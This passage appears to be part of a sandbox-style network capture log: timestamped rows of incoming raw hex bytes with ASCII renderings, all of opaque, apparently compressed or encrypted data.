21 4d 7c eb b5 59 6a 7d 78 f9 37 6c cc 6c 4d 91 3e 29 51 61 70 c7 95 f3 Data Ascii: 1q,.z~qk ?fvj<<04yh$[uUn[as5=IM;i`<YESI#vnX-EU<\<Jm-5NZU+j0\|vNGxF\|DK\|hXgFqj{p_Z(fwfR]t!M\|Yj}x7llM>)Qap
2021-12-28 04:19:41 UTC	2556	IN	Data Raw: 47 9f 5d 52 32 af 16 e8 f4 7c 6b da 56 89 67 91 99 39 96 97 cb 2e 3b 85 5e fa 41 16 4f 84 e1 c9 7f 84 39 64 5e 36 35 21 6b 7b 00 7e 73 94 54 c7 b5 2d 30 59 86 b9 1e 57 96 e8 da 3c 14 b5 ac c2 e7 77 f8 57 59 d3 57 d0 5a 76 0f d4 ba f8 5f af f4 d9 c1 c7 76 f3 a9 3a d0 c8 21 bf c1 fc 5d dc 10 9c 9b 57 3c 2d f3 98 84 38 b0 ed f5 12 86 dc d9 73 12 66 bb fb 01 be 61 a7 73 f0 02 de db 08 23 7d 3d 09 ae 73 dd 64 a0 fe db c2 ed 02 5d 17 04 4e 7b 39 1b f0 11 43 98 e6 a4 a3 62 cf 96 80 58 a6 06 80 7e 54 73 96 7c 4a 00 f3 fb ed 15 52 ea f7 95 1e 6a 88 64 9e eb ff 7a d2 c2 49 aa 6b 5b c1 9d 22 8a dd 0c e0 eb d1 e1 62 0a 79 43 86 4a 90 52 09 4e d6 f5 7e 1a ce 59 bc b7 48 9a 7e c9 8c 44 cc b3 0a 0d 10 86 12 23 2b c1 38 1f cc 04 9f 11 04 5a 24 a3 ae bb 7c 5d 12 5b 6f 31 Data Ascii: G]R2\|kVg9.;^AO9d^65!k{~sT-0YW<wWYWZv_v:!]W<-8sfas#}=sd]N{9CbX~Ts\|JRjdzIk["byCJRN~YH~D#+8Z$\|][o1
2021-12-28 04:19:41 UTC	2572	IN	Data Raw: 5f 4b fc a5 be 84 39 e8 03 03 49 c9 89 b6 de 1e 1f 84 59 cd ce 9f 96 b7 98 71 0b fd 5c f1 ac 38 1e 64 64 4e 6b 83 41 4a 76 d2 db 7d 8d a1 1b 99 51 be 84 26 1f 96 1c 7b 19 67 12 5e ff 39 5f 2d b6 9f 6e b1 67 b7 07 21 c2 21 8c e2 66 cd 1c c3 28 12 8a a0 9e 48 07 e6 a8 49 dc 4b 27 7e c7 8a 9f 6c 32 0c ee bb 89 ec d3 48 44 7a 7a e0 0e 56 05 b2 41 ad 3c 73 6a 1a bb f4 0a b7 96 32 51 d5 55 88 2b 50 d6 46 0c fb 30 f3 7d 69 1e 4e bf 78 2e 6f 5a 0c 98 34 d3 99 4b 62 e6 2b 42 2d cb 3c ac 59 3a 09 4c d7 88 2b 67 e9 59 fe 4c fb 86 97 91 f1 4b 49 06 af 56 21 ae 50 24 92 6a 27 ba 8e d0 81 13 c8 38 d0 a8 28 f8 83 d6 b2 a2 d6 f8 ca 67 fe f0 9d 05 f4 44 53 ad 31 60 c9 46 45 ea 79 8b c5 aa 3a ef fb 00 8a 00 c2 d3 60 98 de 07 b6 43 d4 e9 41 a8 3e ba f0 a5 53 d1 38 2b 09 c2 Data Ascii: _K9IYq\8ddNkAJv}Q&{g^9_-ng!!f(HIK'~l2HDzzVA<sj2QU+PF0}iNx.oZ4Kb+B-<Y:L+gYLKIV!P$j'8(gDS1`FEy:`CA>S8+
2021-12-28 04:19:41 UTC	2588	IN	Data Raw: 8a 54 1b 31 fa 0b 23 12 3c 7d 6e 2a d5 c4 ed 24 ab 4c e2 51 53 93 7b 84 dd 89 3b 49 9c 45 28 49 e7 9f 95 59 f1 a0 e8 e0 d8 cc 1e 1e 29 8f 74 c7 21 b6 d7 89 a3 b2 c1 f2 99 2d 69 f5 9e 73 c1 d1 cf dd 3b fc db 62 47 06 80 05 da 5a 12 0c fb 38 4b 2a 68 8f b2 c7 d7 dd 58 8f 0b ed 6f 12 be 20 e9 9f 1e 13 c6 08 de 13 db 26 3a 6e 00 e4 6e 48 41 fd ab a7 89 45 51 19 cd 7e 1e eb c1 64 ae 10 ff 3d 02 6a 65 a3 27 af 58 9c c2 ae 29 14 a7 93 4c 28 37 f2 06 b0 43 cb fc 36 98 e6 f8 f4 e6 66 22 03 86 1f 80 0a ca 79 df 08 e4 f2 b1 0e 40 05 cf 44 d5 38 25 9d 9d d5 ec 1e fe 68 ec 2a 98 53 37 9d 55 99 9e e2 d1 d7 21 a3 5a 0a 7d ff ab b2 18 74 a4 98 5d 5e bc c4 fa 0e 1a 6e 36 c2 65 24 25 8f e1 7f 60 1f bd 7a 32 ab 8f a7 19 37 69 8e cf 6c f8 f1 e0 30 6e 4e 89 9b 51 e2 05 cd dc Data Ascii: T1#<}n$LQS{;IE(IY)t!-is;bGZ8KhXo &:nnHAEQ~d=je'X)L(7C6f"y@D8%h*S7U!Z}t]^n6e$%`z27il0nNQ
2021-12-28 04:19:41 UTC	2604	IN	Data Raw: aa a9 aa 83 ad c1 eb 8a 14 59 a1 c3 fa 14 c2 46 a8 9d 29 8f 35 5a 4e 35 9c ca d9 0f 76 91 e1 48 3a 5c c3 e7 90 19 2c 17 79 ae 81 1d 2f ac f4 1c de d3 97 2a 3f 94 61 1b 3a c3 bc 0a df 52 55 08 b3 7f 40 8a a3 d1 e1 0e 36 67 43 89 b3 80 3d 61 0b 97 6c af d7 03 ba a9 3d af 08 a4 3d d9 a6 eb e9 de a1 6e c5 2b 6e 57 8c 36 30 8b af e3 49 e4 7c 9d d7 e4 75 a3 77 80 1b ac 82 60 f3 a7 76 1f 81 b2 18 52 12 aa c2 24 c5 77 b1 1e f1 fc ec 3e 91 f2 fe 19 db cd ac 4c 68 28 13 0c fd b7 cd 57 72 78 41 fc 5b 89 2d 3b 7d 40 69 ab f7 a3 83 40 b5 29 d9 5c c1 bb 4d c8 10 50 51 f5 f2 cd 82 55 67 bc b2 0a 04 95 3c fb 72 ca 91 32 26 89 be 9f b1 59 d8 39 89 c5 65 42 2a 09 2f c8 91 c7 f6 53 fb d0 0f 9f 30 cf f0 c9 68 07 ce 02 e4 03 7b 9f b2 f5 65 c8 ca 5e 7b 78 96 27 8b 1e 9a 4b d8 Data Ascii: YF)5ZN5vH:\,y/?a:RU@6gC=al==n+nW60I\|uw`vR$w>Lh(WrxA[-;}@i@)\MPQUg<r2&Y9eB/S0h{e^{x'K
2021-12-28 04:19:41 UTC	2620	IN	Data Raw: c0 42 21 4d 3c c0 63 8b be 89 ac aa 8f 8b fc 7f 68 cf 49 40 a1 d2 30 54 1e 6a af fb 1b 8a b3 d4 89 12 38 6c 85 bb 64 7d e0 7b 1d 6d eb 27 da 86 28 0e 1a 7d d6 f8 f3 a2 e5 45 af 28 61 1c 22 b6 69 ed 55 2e 3d 0b 93 91 b2 97 c8 82 b4 ca 1d 96 0c 87 49 6b fa 7a c0 cb 16 16 c4 f8 9b 7e 47 6f 8f e8 99 7f ea ee 83 7c 41 a5 3a 5c e3 41 48 bb 35 90 b3 af 5e 85 75 6f ca ed 89 af f0 79 1b 10 7b 3f e7 19 d6 9d 2c 34 be 52 b7 65 4a 09 31 8b d3 10 63 a9 88 c1 46 1f d1 16 7d c0 95 7b 18 ff 55 98 f7 b9 99 7b b3 40 c8 55 d6 f8 d2 68 fc fb a4 45 5b c5 02 56 57 ad 93 6e 9e 41 7c 08 a1 91 45 d1 0c f6 30 92 49 c3 2e 2a c0 c9 e1 a4 07 49 ff 9f 48 fd 6e 9d 59 40 81 09 f8 52 65 75 87 43 55 03 6d 3d a8 33 2a db 3f 2d d3 51 dd 08 45 dd bb c5 33 6a e4 77 5a 85 2e 3e 98 21 c0 21 b3 Data Ascii: B!M<chI@0Tj8ld}{m'(}E(a"iU.=Ikz~Go\|A:\AH5^uoy{?,4ReJ1cF}{U{@UhE[VWnA\|E0I.IHnY@ReuCUm=3?-QE3jwZ.>!!
2021-12-28 04:19:41 UTC	2636	IN	Data Raw: 5f 07 06 31 44 e3 38 90 5b 62 c8 ba eb b4 fc 64 71 96 a0 96 5e db 00 dc a1 e8 f8 cd 67 d5 49 71 65 9b 4c d3 d4 e4 25 b9 54 09 81 1d 77 24 59 09 95 81 e7 2e 80 33 d0 3a 69 33 09 86 28 8c 1e 97 b3 0f db 83 3d 1c c4 5f 55 3d 04 fe 58 6a 26 59 b3 3e ab 8c 50 f2 34 e7 9c 22 59 08 77 ca d2 fc 02 ed 18 b2 01 be af b5 e7 de 9f 0d d4 d4 28 a8 eb e1 e6 17 44 c7 7a 43 31 cb ef a1 c9 d9 26 af 68 92 8b 73 cd 69 61 5a 7f 7c e6 55 a1 d3 6f 08 26 48 8f 2f 16 9b 84 c1 16 92 3f 23 20 fb f9 70 19 13 19 c3 6f 24 80 ac 98 16 4a f9 14 2f a5 a9 42 cd c1 14 db fe dc 98 b5 3e 83 b2 2d 0a cf 20 f8 3e 56 04 61 ed 51 3f c4 26 30 4f 0f 93 8d 20 24 0a 7d 9e b9 ad ba c7 1f 7e 68 0e 0b ef 82 4a 73 bd 09 16 9b ed 2c ba 31 00 42 d4 e3 f5 0d 75 3b 06 22 25 d2 a7 f3 98 33 e3 77 fd db 8e 58 Data Ascii: _1D8[bdq^gIqeL%Tw$Y.3:i3(=_U=Xj&Y>P4"Yw(DzC1&hsiaZ\|Uo&H/?# po$J/B>- >VaQ?&0O $}~hJs,1Bu;"%3wX
2021-12-28 04:19:41 UTC	2652	IN	Data Raw: 45 6f c0 bc 11 63 4f a1 9e aa 83 8d f5 ad a3 25 ca 76 66 7d 98 33 78 88 78 d8 43 17 5f 37 2e 2c 59 cc 41 52 22 ec a4 ec 24 12 7c 53 1a 7d 62 46 fd d7 69 50 a2 50 71 e3 52 b9 ca c6 eb 61 5f 6b 1c 95 7d 16 72 f4 8f 5a 77 71 cc e1 24 da a4 a7 de 6b 08 ce ec 50 0b 4f 8e d2 11 6d d8 bf eb 40 26 2c b1 45 e6 ea 64 e7 63 c4 18 f6 54 72 16 c7 6c 4f 8b 73 f1 6e a4 a2 75 4b 8c a9 ef 72 86 58 03 5f 9b 83 36 70 98 b5 8f 1d f5 9b c2 20 dc 44 9c 7b 8e 3d d6 ce 3f ab eb 30 54 fd ab 75 ee 18 d4 d5 7a bb 6c e2 04 e1 c5 5f 7d c1 b3 ed 2a fb 62 72 fa ae a8 ca e8 b3 32 87 45 80 ef 23 0e 0e bb 97 59 e3 9c 53 cd 3d 2c c7 30 f6 ae 48 8b 9e e7 38 29 6d 7f a1 ce cc 11 92 58 15 c1 d4 62 ed 0c a0 e6 04 b0 a2 02 9f 9e 99 67 d0 5b 7e 44 e9 d1 73 a7 31 3a e6 eb 0a 3e 65 3b 8d 45 05 da Data Ascii: EocO%vf}3xxC_7.,YAR"$\|S}bFiPPqRa_k}rZwq$kPOm@&,EdcTrlOsnuKrX_6p D{=?0Tuzl_}*br2E#YS=,0H8)mXbg[~Ds1:>e;E
2021-12-28 04:19:41 UTC	2668	IN	Data Raw: 8b ab 19 53 01 13 c9 63 b7 96 72 ca 00 c6 29 25 64 b2 1b 33 fd 6a 94 cc 7b a8 0d 83 94 76 7d 08 c6 50 9b 44 68 f9 7c 11 bb 1e 9b 27 47 ca 23 2e 79 32 e5 eb 5b e2 fa d5 5d d7 fb c9 f8 7e 24 00 bb 0a db 30 8d a6 0d 2a 14 17 28 17 25 b4 69 bc 90 d2 eb 2d e9 92 76 97 42 5e 6a f8 40 4a 31 1a 5d 7a 70 1c 8b fa a1 5d 44 57 4b 3f 54 ab 8b 3b 34 3c 7f 1d 48 36 7e 4f 91 c0 cb d8 d9 c0 49 53 d9 7e 14 6f ae bf fd 7c 0b fb 8d 53 0f 99 bc f6 2b 03 2c 5c 48 78 eb b8 37 8c a6 77 f1 72 49 8a 13 8b 82 62 7d 57 4a eb 07 9c 0f de f4 72 21 cd 15 e4 1c 32 2e 9c 15 41 df 9e e5 d1 9b d7 d0 b4 6c b7 fa 03 38 8c 23 fc 21 75 0f 2e df 02 a5 64 dd 23 41 1c 20 36 ab 0c 12 cb 0c 6c 0d 4c c9 bb 6e 96 4a 4b 64 21 1c c2 6d d2 62 7f a3 93 da 4d 49 7b f2 81 1c a6 fe 80 5c 7d 1c 66 54 dc 64 Data Ascii: Scr)%d3j{v}PDh\|'G#.y2[]~$0*(%i-vB^j@J1]zp]DWK?T;4<H6~OIS~o\|S+,\Hx7wrIb}WJr!2.Al8#!u.d#A 6lLnJKd!mbMI{\}fTd
2021-12-28 04:19:41 UTC	2684	IN	Data Raw: 5a 3c bf 12 1d a8 9a c7 33 be 9b 60 b8 2c 6f 54 96 65 b5 e9 ed ca 5a 5f f6 5b 82 64 08 c4 17 c8 73 80 8e f8 4d 8f 3e 43 1b c6 11 51 ac 88 84 0c 94 49 df 2c 38 59 c8 c7 62 4c 73 2d 13 d3 7b 61 c2 5b c6 8b 2a f6 70 ff 3c 47 73 7d 3c 12 ad d7 db 0f 9e c1 4f 04 6c de 7e b9 41 98 77 3c 2f 1d e4 fd 91 74 2e 02 7b 17 0d 1b 64 ac 16 89 59 bf 4d 72 1c 54 2d 49 c8 fb e6 c3 34 89 8f af dd 0a e9 44 7b 02 e6 a5 c0 b1 f3 44 57 12 de 6b 00 a6 fd 62 6b ff 7e f4 f3 25 5a c8 8b da d7 e7 fa 78 0c e4 21 34 ca f9 08 1b 6e 94 a6 8e 38 3a 13 42 96 6e 5f e1 0f 0f b1 65 1e 39 16 c3 ab bc 88 e9 39 ec a6 43 98 33 71 d8 d7 e8 66 a6 c5 60 d9 53 06 b4 50 8e 1a 25 09 7e a9 64 53 b1 fc 94 44 d5 ae ee 75 80 20 c6 32 3d 58 bf 88 17 17 07 37 62 1c d9 46 a4 25 9a ba b6 8c 0a 92 4b cd 0e 5c Data Ascii: Z<3`,oTeZ_[dsM>CQI,8YbLs-{a[*p<Gs}<Ol~Aw</t.{dYMrT-I4D{DWkbk~%Zx!4n8:Bn_e99C3qf`SP%~dSDu 2=X7bF%K\
2021-12-28 04:19:41 UTC	2700	IN	Data Raw: 70 bd 0d c3 63 e5 ff 61 5a c8 d5 9a fc 4d c8 ed 38 16 60 3c be f8 0d ce 15 58 2f bb d1 4e 87 c1 a2 d2 7d c6 c3 de d7 58 60 7c a0 5a d0 62 d5 fe 63 8e 85 c9 3d c3 e8 76 ad 5b 3f 41 19 92 99 b2 f4 84 cb af e1 c0 da 3b 07 64 f3 3d 58 5f 52 29 d7 75 09 0f a7 8d ab 65 00 1e 29 6e 65 41 e2 a3 f1 75 f5 df 73 c4 39 9c c0 ed 8c 2f 65 56 00 47 e9 17 3d 3a a4 dd 8a 10 8b e3 e8 2e bb 35 37 bd ac 41 f8 4f 1c df c2 8b 4e 98 ab 5b d2 20 cd d2 a4 6f e6 01 63 80 c0 79 ad 67 7c 96 22 86 28 a3 aa 4f 1a 6e 30 2a 02 1e e9 03 0c bb 18 fa 50 aa 12 ed ac 62 45 16 7d ca b8 d3 64 3b 3c 34 f8 f5 50 a8 ab 10 fa 9a 20 93 c3 55 e0 71 2e db f0 95 1b 85 3d 92 e6 2f ae 79 dd 44 b0 5e 64 20 e9 df 4a de 3f 74 e7 83 6f 87 bd 2e dc d8 62 b2 82 31 34 92 38 6f 05 8a 73 be 5d 67 97 52 82 20 62 Data Ascii: pcaZM8`<X/N}X`\|Zbc=v[?A;d=X_R)ue)neAus9/eVG=:.57AON[ ocyg\|"(On0*PbE}d;<4P Uq.=/yD^d J?to.b148os]gR b
2021-12-28 04:19:41 UTC	2716	IN	Data Raw: 0e f5 23 d8 fa b2 90 a3 09 e0 0c 87 c8 f4 31 fa 2e 7f f8 1a e5 36 0a 68 77 83 c9 11 85 c0 06 85 6a aa ee fc 59 de fc 80 dc c8 4d 98 bc 05 9b 44 72 48 27 80 cb 6f af 80 db e2 c8 17 aa be 03 47 ec 98 7a 55 04 52 f6 3e 8f ac 9c a3 02 0b c6 b6 68 19 05 21 39 fa 62 62 b6 f7 1e 3f 32 e3 63 6c 57 b9 7d 7c 2b 39 af 74 d5 27 9c b8 27 4f 52 ee d4 a4 53 19 85 3c 96 d9 d4 0d ff 2b f0 af d6 cb 24 47 b2 0d 68 36 d4 b3 49 13 dc 14 2d 21 cb f8 19 86 ac 1b 1f b0 75 ca 99 03 f7 c8 c8 2c 4b 19 ba 8b b9 e2 38 e3 18 a7 85 81 4d d0 9f 76 d7 6b 01 05 b8 5a 63 6d 4c 77 ca d6 af 55 d3 2b 00 cb b3 ae 96 80 7c 58 96 ec 14 91 fa c1 69 9c 3f af 22 bd 08 7b d4 43 31 46 73 87 0e 12 7e dd b6 b2 45 d3 8d d2 3b f5 de 89 4b ca a1 12 50 4d 1f f1 55 5e c5 9c 5e 8e b1 ae 4e 22 8e d1 c7 2c 47 Data Ascii: #1.6hwjYMDrH'oGzUR>h!9bb?2clW}\|+9t''ORS<+$Gh6I-!u,K8MvkZcmLwU+\|Xi?"{C1Fs~E;KPMU^^N",G
2021-12-28 04:19:41 UTC	2732	IN	Data Raw: 89 61 1d a8 3f 2a 4e 00 b1 66 34 bc b3 cc 40 2f 27 c1 e3 bc 2b 3c e8 c6 d5 b6 fd ec b0 5a 92 bf d2 30 c3 eb a8 31 3a cd 5e 93 9f 5f b3 b4 c8 2d a6 c1 a1 43 49 44 4c 5f 97 78 62 55 27 1d 3b 8e b2 29 77 49 ad 22 00 11 04 6f 71 d7 a4 7b 4f b9 d7 b5 27 f5 ec 8e d1 1e fe 63 d6 17 52 0d 05 4f 18 65 a8 71 1e d8 a6 66 46 5f 1b 98 ae f0 d1 7c 09 11 c8 f5 81 ad 6e 60 1f 49 11 4c 65 8f b7 78 d7 81 81 de 25 e7 dd c0 0e dd ab 1f 3e 94 e8 a0 f0 bc 45 c8 48 b9 72 cc e3 67 b7 a5 12 8e ca 5c 88 d2 28 2e 65 65 60 15 31 a8 6c 97 ac 2e 20 62 a0 e9 78 37 72 7c 01 4c 72 b4 5c 21 85 ac 9d 47 02 08 89 f8 7f 9c f6 b7 2f 87 85 74 b8 0b 14 41 23 87 56 0d 8c b5 59 b0 1f 37 b9 c4 d2 5b 49 d0 1b 46 92 db 2b 2d 28 da d3 b4 e0 0e 4a fb 48 3f 4e f8 26 49 83 d2 ee 9a 3f bc 1c 10 30 7f 11 Data Ascii: a?*Nf4@/'+<Z01:^_-CIDL_xbU';)wI"oq{O'cROeqfF_\|n`ILex%>EHrg\(.ee`1l. bx7r\|Lr\!G/tA#VY7[IF+-(JH?N&I?0
2021-12-28 04:19:41 UTC	2748	IN	Data Raw: e8 ca 53 ee 93 6d e9 79 2d 63 b7 2c d7 77 e5 cc b8 67 16 6d dc 54 57 10 a5 e1 11 cb 48 bf e2 9f a4 f4 6e 42 c2 bf f5 17 ce 6b 09 0a a7 69 e5 ac 3a c6 d8 b7 32 f4 0a 16 15 62 f5 23 b7 86 69 86 13 cb 38 d9 35 5a 4b d0 2b 1a c6 9a 5d 4a d0 d9 bd a8 2c ba 1a 81 6c 4f 79 e5 37 00 b5 b8 0a 26 31 eb 63 e6 92 d6 3e c8 8e 36 47 82 81 41 a8 fd a6 fd 7f c6 7f 1b 44 b0 ee c3 2b 01 e3 70 51 b6 6f 32 3c 2e 9f 96 9c 8f bc 12 d3 3a a0 5f 1f 75 1b 33 11 04 32 8e 1b 80 f3 d2 75 42 f3 2d a3 d4 f7 7a 08 1e 0d 38 d2 03 8b 39 d9 73 13 1f c1 25 d9 ae 06 5b 75 b4 02 b9 d3 d6 85 63 19 6d 32 99 54 95 13 98 dd ee e7 3e b5 d3 72 3b 94 b1 32 00 1e 6a 4c a0 3e cf 50 dc 74 df a9 65 8d 59 8a 08 0c 76 71 4e 74 01 8b 05 b2 9f 9c e7 bc 40 09 ad d2 66 82 05 d4 5f 49 0a cf 43 9b 3e f1 38 93 Data Ascii: Smy-c,wgmTWHnBki:2b#i85ZK+]J,lOy7&1c>6GAD+pQo2<.:_u32uB-z89s%[ucm2T>r;2jL>PteYvqNt@f_IC>8
2021-12-28 04:19:41 UTC	2764	IN	Data Raw: a3 42 78 12 26 a5 5c f4 a5 8a 0a 2c 20 b8 c9 1b 8d 4b 1d 44 f4 c8 9c 70 6e 2c 07 d3 c4 5a bd 40 d7 05 8e 2e 3c af 2e 58 0d 57 d5 2c 37 6c 30 42 76 7f b3 8d 96 af f9 0e 3f f9 24 ac 05 fb a5 46 4a ef 85 a8 16 89 c1 9f 4a dc fb ec 17 6b 2e 4c d8 64 ec 0d 39 bc 06 a5 19 16 27 cf 35 61 a5 48 02 b9 37 e5 76 f3 9c bf 00 cd 79 b6 50 b1 c8 ce b3 99 a3 72 5d d0 36 95 b6 69 37 44 42 53 1c ff 4d 87 41 c2 4c 58 ab 42 75 70 51 d7 78 95 7c b9 4a 68 58 e4 38 6b 11 aa 8f c3 f3 1d a0 2c 36 38 d8 cc c0 13 7a 5b f8 8f 90 43 8c 58 de 8e 73 fd 14 ab d9 31 79 f7 e4 bf b7 f9 a4 07 c7 8d e9 f9 f3 6b fd bd f3 2a 7c c8 70 37 5d 01 ef 88 52 db c2 b7 29 22 2c 00 21 72 ea 3e 48 81 be d7 2e b4 3f ee 6b b5 ae 3d a7 64 a9 81 ec a0 25 5d 54 43 eb 29 37 d6 2a 21 e0 08 18 50 6e b3 e9 d5 7a Data Ascii: Bx&\, KDpn,Z@.<.XW,7l0Bv?$FJJk.Ld9'5aH7vyPr]6i7DBSMALXBupQx\|JhX8k,68z[CXs1yk\|p7]R)",!r>H.?k=d%]TC)7!Pnz
2021-12-28 04:19:41 UTC	2780	IN	Data Raw: 47 44 0f 14 77 b3 e7 21 5d 2b ab f4 9d 58 be 6b 72 b7 96 62 7f 6b 4d d2 f4 29 24 fd 2e 53 b1 ef fa 70 6c c1 4a 39 e4 b2 c6 5c 91 1c 67 cc 87 b1 4c d2 15 b7 fa 84 e9 0e be af 9f 2e 4b 24 c6 86 63 fc 7c 5d 06 65 be 3d dc d2 79 62 9a 95 89 d5 f9 39 29 ea 1e a9 c4 59 69 0e fe 7c d0 38 ca 8f 81 a5 f5 5c bf 15 48 42 66 51 5e 59 1b 9f d4 be 5a 0a b4 ff ca 32 e2 2c 38 a4 03 0f 3e e8 32 1e 9d 6b 0a b2 c7 dd db d2 55 2d f4 f3 04 fd ea b2 32 5a 31 c5 86 a0 03 7f f2 6f 27 05 48 00 92 32 0b ad 3c 6a b7 7e ba d5 a8 9a dd c2 9f 8c 52 1e 95 f5 df 09 52 75 b4 6a f6 d5 06 dd 2b bf 32 f2 89 d9 67 03 4d 91 2d c7 4c a3 cc 90 64 0a 47 04 f3 b8 da fa 2c 17 25 df 3a 7a b8 e5 80 58 70 83 6f 95 37 1c 71 ac ae bf 6d 40 5c c2 dd 85 3b 43 4c 4d e4 bc b2 33 35 f7 a5 cb ad fb a8 70 01 Data Ascii: GDw!]+XkrbkM)$.SplJ9\gL.K$c\|]e=yb9)Yi\|8\HBfQ^YZ2,8>2kU-2Z1o'H2<j~RRuj+2gM-LdG,%:zXpo7qm@\;CLM35p
2021-12-28 04:19:41 UTC	2796	IN	Data Raw: ea 22 dc 3e 5d db 17 d1 e4 13 3d 82 13 e5 46 7b 7e d4 d2 12 c9 93 dd e0 1b b2 2d b1 b8 7a b6 0d 4e cc 9d ca 00 de 47 3f 83 e8 9b f5 98 aa 0f 08 6a 31 6d 85 5e 13 20 b5 f2 95 53 c7 aa 58 b1 62 33 79 7a a8 df 6f dd b3 fc f0 59 e4 72 1d 52 dc a1 8f e7 8f 2d 7a d7 19 c3 c3 96 c6 a2 36 d4 68 c7 78 8c b7 f4 09 0b 02 9a 5d 46 5f 94 aa d8 27 36 10 e7 e8 07 1e 5e 57 8c 76 6a 44 9e a9 9d ae fe 94 dc 38 17 05 9d 59 b2 b0 33 35 25 7e 01 d2 71 ed b3 99 37 d0 57 ed 25 20 55 cc cc 07 97 c3 30 e8 18 ab f5 6d e3 a4 22 28 21 70 ea 16 4b 36 84 d3 a5 2e e5 69 16 f7 ca 4f 74 b6 3d ad 43 fb 8e 06 0c 80 6d 47 81 ba 03 f5 88 24 64 6d fb 9e 71 22 32 4b 3a 0a d4 91 ff 81 cc 01 db b7 97 ba 23 b6 b7 e2 d3 2a 3e 72 58 db 80 73 11 73 6a cf bd 77 ef 1e 82 c8 72 5e 78 e8 0f 20 54 81 03 Data Ascii: ">]=F{~-zNG?j1m^ SXb3yzoYrR-z6hx]F_'6^WvjD8Y35%~q7W% U0m"(!pK6.iOt=CmG$dmq"2K:#*>rXssjwr^x T
2021-12-28 04:19:41 UTC	2812	IN	Data Raw: df 5e 67 0f 8a 6a 4e 53 24 21 49 1a cc 74 0e a2 60 8b 22 4d 73 0c 7f b8 0b 29 fa 49 21 22 8b d8 81 a0 27 70 6f b9 d1 74 0f 2f 57 89 f2 52 e3 40 55 cc c8 1d 86 c8 84 c3 36 8a aa 71 07 77 b7 54 81 53 ea 0c 43 61 ed 7c df c8 e6 ca db 42 42 d3 1b 9c 51 ce 91 63 40 72 cb a2 01 03 de 9a c7 72 26 77 d6 48 cc 92 04 1b d2 31 06 cd 38 0f e3 90 58 45 08 e4 2a 21 c1 8b ac ae f7 17 fb 24 da 6f fd ad 7a 74 af 32 d7 d7 db ad 74 74 85 f2 ff 5d dd 59 e5 87 65 e7 47 3b a8 f9 24 e9 52 0d bf e6 cd 9e 8b b0 d7 e5 65 f0 ff 1d 66 58 c5 0c 74 5e ef 73 f6 7e 8e fa f5 ec 5a e3 fd bd 6b 43 bd fd 6a f5 b4 d2 a7 fb 35 59 57 aa 8a 02 f8 0a 28 bb 79 65 5d 38 ce e6 e0 b7 37 a0 74 01 d4 54 2e 5e 6d bf ff 4e 7a 5f 1c 62 17 e3 c5 76 48 29 4d 9f 64 87 d0 3a 09 af c3 da 76 81 7c 8a 56 35 22 Data Ascii: ^gjNS$!It`"Ms)I!"'pot/WR@U6qwTSCa\|BBQc@rr&wH18XE*!$ozt2tt]YeG;$RefXt^s~ZkCj5YW(ye]87tT.^mNz_bvH)Md:v\|V5"
2021-12-28 04:19:41 UTC	2828	IN	Data Raw: c7 eb 07 65 c7 49 d7 e2 ae b7 0e 4b b4 ba ff 74 8b f5 04 91 b4 83 c0 0c 1f e8 63 c4 ad d7 0f 80 60 65 51 c0 c5 9b 59 a5 8f b6 36 42 f0 56 66 4c 08 c7 e8 d8 32 71 86 d5 7a 1f 15 d4 94 fc 5c 86 3e 1b 00 d8 5e f3 ca f3 9f 47 46 3f 18 48 e3 74 d7 92 a3 c8 a9 f5 37 1e 70 4f a4 7f de 21 66 8b d8 99 1f a0 f0 b4 c9 53 cf 51 ba d4 d9 71 dc a2 90 52 54 a3 02 8d 3a 0e 00 b1 e2 5e 76 45 c8 ed 2e 3d 6e ef 5b e9 78 04 c0 a9 bb b9 40 f7 af 84 be c9 89 9a f3 fe f4 d0 0e 29 ad 65 dd 75 e6 01 3f 07 09 63 d8 37 f4 5d 3c df cc ff bd 7b 89 cc aa 28 55 a9 73 5d 5e c6 86 9a f3 dd 9b 83 dd f0 25 98 bc 0d 68 dd 23 c9 8e 9b b6 ee 6d 04 bf 64 2a b0 b4 90 a2 52 96 69 3d e8 5a 30 58 cc 98 e9 99 bd f2 e5 88 f9 9a d4 14 b6 49 26 07 c2 ce d4 a4 a1 3f c7 ab c4 25 0f c2 7c 66 9b 24 84 c7 Data Ascii: eIKtc`eQY6BVfL2qz\>^GF?Ht7pO!fSQqRT:^vE.=n[x@)eu?c7]<{(Us]^%h#md*Ri=Z0XI&?%\|f$
2021-12-28 04:19:41 UTC	2844	IN	Data Raw: 4f d1 23 66 5e 92 e0 6e e7 c6 ec 85 6e b6 5b 98 c6 0c df 9f 46 59 bd 91 25 0a 4f 84 3e ab 46 82 6b d8 a3 84 0a b1 77 20 18 49 70 b2 d1 77 0f a8 11 4e 15 be 46 95 64 27 47 c7 d6 05 12 3e 70 32 30 cf e3 d9 80 ae 90 8f b6 51 22 75 ce 56 8f dc c7 12 41 75 19 65 3b 64 81 25 0a 08 ef 8b 3b 44 16 9d 90 9b 67 11 08 2a 8d 86 c1 59 42 58 26 ae ca 9b b0 e9 07 9c b0 1b 59 be cf e9 a2 df 02 82 89 5f ca 73 e7 ab 0d a5 f2 40 39 1e ba c1 0a 26 28 fe fd 16 1c cf e6 18 24 01 cd b0 7e 92 15 3d 50 9d bd d3 ed 3a 11 10 36 0e 04 ba 99 6b be 0f 1c d8 e6 1f 49 61 1d 0a 48 1c 69 22 1b da 7b bd b8 64 35 87 bb e1 05 c8 a9 a5 38 c1 94 b1 9b 8d 3d 54 16 b7 29 6d 2d 1a dc 24 cf 19 aa ca 55 cf a1 47 5b ab e5 b6 24 3f 89 3e ef 2f 76 5e ee 05 04 56 03 e5 0c b4 5e 9f af 14 36 0c f9 af 9b Data Ascii: O#f^nn[FY%O>Fkw IpwNFd'G>p20Q"uVAue;d%;Dg*YBX&Y_s@9&($~=P:6kIaHi"{d58=T)m-$UG[$?>/v^V^6
